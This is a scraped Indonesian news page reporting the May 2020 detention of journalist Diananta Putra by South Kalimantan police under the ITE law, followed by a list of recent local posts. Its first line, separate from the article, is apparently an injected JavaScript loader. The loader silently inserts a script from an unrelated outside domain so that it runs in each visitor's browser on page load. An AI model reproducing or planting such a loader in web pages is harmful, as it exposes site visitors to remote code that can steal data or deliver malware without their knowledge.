(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Ironi Hari Kebebasan Pers, Polda Kalsel Tahan Jurnalis Diananta Atas Dugaan Pelanggaran UU ITE


KANALKALIMANTAN.COM, BANJARMASIN – Setelah menjalani pemeriksaan beberapa jam, mantan pemimpin redaksi Banjarhits.id Diananta Putra S resmi ditahan per Senin (4/5/2020). Polisi mengacuhkan permintaan penanangguhan penahanan tersangka. Diananta ditahan dengan tuduhan pelanggaran atas UU ITE.

“Karena sudah memenuhi syarat dan alat bukti yang cukup, selama 20 hari Diananta ditahan,” ungkap kuasa hukumnya, Bujino A. Salam kepada awak media usai pemeriksaan di Direktorat Krimsus Polda Kalsel di Aspol Bina Brata Banjarmasin, Senin (4/5/2020) sore.

Sementara itu, Diananta membenarkan bahwa dirinya mulai ditahan per 4 Mei 2020 dengan statusnya sebagai tersangka. Penahanan sendiri dilakukan selama 20 hari kedepan, atau hingga 23 Mei 2020. “Adapun penahanannya di Direktorat Tahti Polda Kalsel. Jadi saya tentu sangat menyayangkan penetapan tersangka dan penahanan ini, karena sudah kriminalisasi pers,” ungkap Diananta.

Tentunya sangat kontras, di saat dunia memperingati Hari Kebebasan Pers Sedunia yang diperingati setiap tanggal 3 Mei, nyatanya Diananta harus menyandang status tersangka hanya sehari setelah hari peringatan itu. “Jadi saya sangat menyayangkan sekali moment hari kebebasan pers harus ada wartawan yang menjadi tersangka akibat kriminalisasi pers,” katanya.

Lalu, bagaimana dengan upaya penangguhan penahanan? Diananta mengatakan akan membicarakannya lagi dengan tim pengacara untuk langkah selanjutnya. “Apalagi saat ini saya mematuhi proses hukum yang sedang berjalan,” tegasnya.

Diananta pun tidak menampik akan melaporkan balik pelapor yang melaporkan kasus ini terhadap Diananta. Karena, ada indikasi kriminalisasi pers terhadap wartawan.

“Tadi saya hanya menunggu keputusan rapat penyidik apakah ada penahanan atau tidak. Ternyata harus menahan karena ada beberapa alasan seperti, saya dikhawatirkan mengulangi perbuatan, kabur dan menghilangkan barang bukti,” tukas Diananta. (Kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.